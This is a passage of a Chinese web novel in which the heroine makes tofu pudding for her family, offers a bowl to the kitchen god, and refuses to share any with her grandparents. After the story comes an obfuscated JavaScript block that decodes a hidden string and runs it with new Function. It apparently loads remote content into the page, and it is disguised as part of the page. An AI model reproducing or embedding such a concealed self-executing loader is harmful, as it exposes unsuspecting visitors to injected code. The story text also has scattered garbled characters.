“姐，这酸溜溜的水是啥？”安凑了过来，问道。 杨若晴笑着看了眼安：“你这还真是狗鼻子哩，差点被打残了还能嗅出这味儿来，不错不错！” 安嘿嘿笑着，还是踮起脚尖想去看。 杨若晴便把碗口放低了一些，让他好好瞧。 顺势抬起头，对旁边同样一脸讶异的孙氏和老孙头解释道：“黄豆浆想要成型成豆腐，得点卤，点卤是画龙点睛的关键一步。好了，啥都不了，擦亮你们的双眼，神奇的事儿要来咯！” 她一手端着碗，将碗里调制好的酸水，缓缓的倒入沸腾的豆浆锅里。 另一手，拿着锅铲，轻轻的搅动，让酸水跟豆浆均匀的融合在一起。 黄豆分解出来的蛋白质溶液，在遇到酸水的作用下，以肉眼可见的速度凝聚成胶状。 一朵朵白色，如同云块的东西，在锅里缓缓成型。 “呀，成了成了，你们快看哪！” 不知是谁惊呼了一声，大家都很激动。 杨若晴自己也是忍不住满眼惊奇，感叹这造物主的神奇。 卤水点豆腐，一物降一物啊！ “晴儿啊，你这酸水里都用的啥料呀？这也忒神奇了呀！”孙氏啧啧着道。 老孙头也是一脸的惊叹：“老汉我活了大半辈子，也是头一回瞅见，哎，先生不如后出世啊！” 一口的土话，不过杨若晴却听得明白。 嘎公这是在夸她自个呢，意思应该就是长江后浪推前浪吧？ “晴儿啊，你这酸水，都是用啥做的呀？”孙氏忍不住又问。 杨若晴正要张口，大安突然制止了。 “娘，隔墙有耳，这酸水是我姐做豆腐的秘方，莫问。”大安压低声道，一双****的眼睛，还瞅了眼灶房的门窗。 孙氏恍然，立马闭嘴。 杨若晴瞅了眼大安这副煞有其事的样子，忍不住笑了。 “没啥，就算把这酸水的配方出去，别人也做不出来！” 水和醋的配方比例，是关键，多一点或少一点，差之毫厘失之千里！ 杨若晴不怕被人偷听，不过，既然大安这么贴心，她肯定会顺着他的意思做。 “娘，回头我私下里再告儿你，赶紧拿几幅碗筷来，咱喝豆腐脑啦！” 干净的碗筷随即摆到了锅台上。 杨若晴往这些碗里舀了满满当当的豆腐脑，又拿来焦糖，往每个碗里都搁了一勺子糖，搅拌均匀。 “大安，这碗给咱爹端过去。”杨若晴吩咐。 “好嘞！”大安端起就要走。 “大安，等一下。”孙氏拦住了大安，转头对杨若晴道：“这豆腐脑是稀罕玩意儿，头一晚咱得供给灶神爷！” 杨若晴愣了下。 这个时代的乡下农家，田地里的收成都是望收，信奉各路神明，是他们的精神追求。 精神信仰，有时候力量是无穷的，也是一种寄停 各路神佛中，最接地气，又家喻户晓的，便是这灶神爷了。 乡下人家都人定灶神爷是玉皇大帝派到各家各户的司命监察神，是一家之主。 逢年过节，有啥好吃的，都是让灶神爷尝第一口。 每年的腊月二十三，家家户户祭送灶王爷上去跟玉皇大帝禀告这户人家的事情，也成了一种习俗，所以，灶神爷得罪不起！ 入乡就要随俗嘛。 杨若晴抬手敲了下自己的脑袋，笑道：“瞧我这记性，忙起来就搞忘记了，那是应当的！” 杨若晴赶紧端起其中一碗，恭恭敬敬摆到了锅台里面烟囱的侧面。 一边还双手合拢拜了拜：“灶神爷莫跟我计较，热腾腾的豆腐脑，孝敬您，您吃得满意了，可得多多保佑我们一家老啊！” 这边，孙氏见状，放心一笑。 老孙头也是欣慰的点零头，大安这才端起碗离开了灶房。 不一会儿大安就回来了，杨若晴把大安的那一碗递给他：“热度刚刚好，你趁热喝！” “多谢姐！”大安接了过来，拿起筷子搅拌了一下，垂下头来，斯斯文文喝了起来。 “好喝不？”杨若晴问大安安。 安把头点得跟鸡啄米似的，大安也是腼腆一笑。 那边，孙氏端着碗，面露一丝犹豫之色。 “娘，你咋不喝呢？”杨若晴问。 “晴儿啊，这豆腐脑是稀罕东西，你，咱要不要给你爷奶那送一碗去？”孙氏征询道。 杨若晴想也不想就摇头拒绝了。 “算了吧娘，咱吃点啥喝点啥，都要送过去，咱送不起呀！” 孙氏垂下目光，低声道：“虽分了家，可他们终究是你们爷奶，是你爹的爹娘啊。咱不送，旁人晓得了会咱闲话，戳脊梁骨的！” 杨若晴轻哼了一声，道：“旁人旁人？咱活着是为了自个痛快，碍着旁人啥事了？” “再了，谁人背后不人？谁人背后无人？公道自在人心，咱问心无愧就是了，管旁人咋看呢？” 孙氏不啃声了。 但是那神情，显然还是有点犹豫。 杨若晴抹了把嘴角，接着道：“再了，就冲着今个白日里，姑打咱安，我爷我奶他们那副包庇纵容的态度，这豆腐脑我宁可泼到大街上，倒进村口池塘里，也不会给他们一口的！” 提到这茬，孙氏抬起头来，瞅了眼那边正端着碗猛舔碗底的安。 妇饶眼眶一红，用力点点头：“成，那就依晴儿的，咱不送了，明个的豆腐，也不送了！” 杨若晴笑了：“这才对嘛！” 以斗争求和平，则和平存。以妥协求和平，则和平亡！ 开国领袖老mao的话，精辟也！ 喝完了豆腐脑，大家伙儿脸上都露出了满足的表情，安的肚子撑成了皮球，坐在那里不停的打嗝。 弄得杨若晴和大安都忍不住笑了。 “娘，这碗筷你收拾一下，我要来舀豆腐了！”杨若晴吩咐。 孙氏接过了碗筷去外面水井边清洗去了，灶房里，杨若晴让老孙头和大安把之前那张黑网布抖开来，平铺在门板上的模具里。 然后，她拿起瓢把锅里多余的豆腐水舀走，再把锅里的豆腐脑，一股脑儿舀到了模具里…… 门板底下放着一只木盆接豆腐水，豆腐脑全部舀进了模具里，把黑网布四面归拢到一起，打个结。 上面压在另一块门板，门板上面，再压上几块土砖和石头。 接下来，就是最后的等待了……
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();